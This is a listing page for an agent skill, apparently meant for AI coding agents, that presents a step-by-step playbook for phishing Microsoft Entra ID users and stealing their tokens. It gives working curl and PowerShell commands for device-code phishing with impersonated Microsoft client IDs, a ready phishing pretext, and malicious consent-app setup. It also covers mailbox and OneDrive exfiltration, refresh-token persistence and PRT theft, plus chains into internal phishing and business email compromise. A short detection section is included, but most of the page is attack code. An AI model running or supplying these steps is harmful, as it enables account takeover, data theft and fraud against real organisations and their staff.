# Entra Device Code Phishing

> Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.

- Skill: `purpleailab/entra-device-code-phishing` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/entra-device-code-phishing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/entra-device-code-phishing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/entra-device-code-phishing

---


# Entra Device-Code & Illicit-Consent Phishing

Steal Entra ID tokens without ever owning the password. Two primary primitives:
1. **Device-code phishing** — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.
2. **Illicit consent grant** — register an app, get the user to consent to delegated Graph scopes.

Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.

## Phase 1: Device-code flow

### Request the device code
```bash
# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams:    1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office:   d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT>     # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
  -d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin  CODE: $USER_CODE"
```

### Pretext delivery
Email / Teams message saying *"To join the secure briefing, open `microsoft.com/devicelogin` and enter code `<USER_CODE>`. Code expires in 15 minutes."* — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.

### Poll for the token
```bash
while :; do
  r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
  err=$(echo "$r" | jq -r .error)
  case "$err" in
    authorization_pending) sleep 5 ;;
    null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
    *) echo "ERR: $err" ; break ;;
  esac
done
```

### Family-of-Client-IDs (FOCI) — single token, all Microsoft apps
The above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent:

```bash
# Swap to Outlook for mailbox access:
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access"
```

`TokenTactics` / `TokenTacticsV2` (PowerShell) automates the swap matrix.

## Phase 2: Illicit consent grant (malicious app)

### Register the attacker app
```bash
# Register in YOUR attacker tenant (multi-tenant).
# Redirect URI: https://<ATTACKER>/redirect  ; Sign-in audience: multi-tenant + personal MSA
# Add delegated scopes (NO admin consent needed):
#   Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile
# Capture App (client) ID = APP_ID
APP_ID=<APP_ID>
```

### Craft the consent URL
```bash
SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
REDIR=https://<ATTACKER>/redirect
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish"
```

Brand the app `Contoso HR Portal` or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has *user consent for low-risk delegated scopes* enabled (default in many tenants), the user single-clicks "Accept" and you have tokens.

### Exchange code for tokens at your redirect
```bash
CODE=<CODE_FROM_REDIRECT>
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \
  | jq .
```

## Phase 3: Token replay

```bash
# Mail exfil
curl -s -H "Authorization: Bearer $ACCESS" \
  "https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq .

# OneDrive exfil
curl -s -H "Authorization: Bearer $ACCESS" \
  "https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq .

# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}"
```

## Phase 4: Primary Refresh Token (PRT) concepts

A PRT is the long-lived token issued to an Entra-joined / Entra-registered Windows device. It is bound to a device key in the TPM. With SYSTEM on the device:

```powershell
# ROADtools roadtx (post-exploitation, requires local SYSTEM):
roadtx prt -u <UPN>            # extract PRT cookie via BrowserCore
roadtx browserprtauth          # use PRT to silently auth as the user → tokens for any FOCI app
# Or: Lee Christensen / Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie.
```

A stolen PRT effectively == user identity until device revocation. Even MFA isn't re-prompted (PRT already carries MFA claim).

## Chains
- **Device-code phish → FOCI swap → Outlook + OneDrive exfil → Teams pretext → second victim**.
- **Illicit consent → Mail.Send delegated → internal phishing FROM victim mailbox** (BEC).
- **Device-code phish on admin → Graph privesc** (see `entra-privesc` § service-principal credential addition).
- **PRT theft (post-RCE on joined endpoint) → app tokens forever** (until device disabled).

## Tools
- **TokenTactics / TokenTacticsV2** (Steve Borosh) — PowerShell device-code + FOCI swap.
- **GraphRunner** (Beau Bullock) — pull mail/files/teams from a stolen token; pivot via consent.
- **roadtx** (ROADtools) — full device-code + PRT support.
- **365-Stealer** — illicit-consent automation.
- **o365 attack toolkit / Evilginx Microsoft phishlet** — alternative path (full MitM).

## Detection signatures
- Entra Sign-in log: `Application = Microsoft Authentication Broker` or `Microsoft Azure CLI` from unusual ASN/country = device-code abuse hallmark.
- Audit log: `Consent to application` event with `ConsentType=User` + `Scopes` containing `Mail.Read/Files.Read.All` from a non-IT identity.
- MS Defender for Cloud Apps `Unusual addition of credentials to an OAuth app` alert.
- Risky sign-in: `unfamiliarFeatures` + `anonymousIP` triggered by token replay from Tor/VPS.

## Decision gate
- CA blocks unmanaged devices → use FOCI swap to a client whose CA exclusion (`Microsoft Intune Enrollment`) is wider.
- Tenant has `User consent disabled` → only admin-consent path → social-engineer a Global Admin or pre-existing app-owner.
- Got Global Admin via consent? Pivot to `entra-privesc` for app-credential persistence (survives password reset).
- Got mailbox tokens only? Run BEC playbook via Mail.Send before refresh token expires.

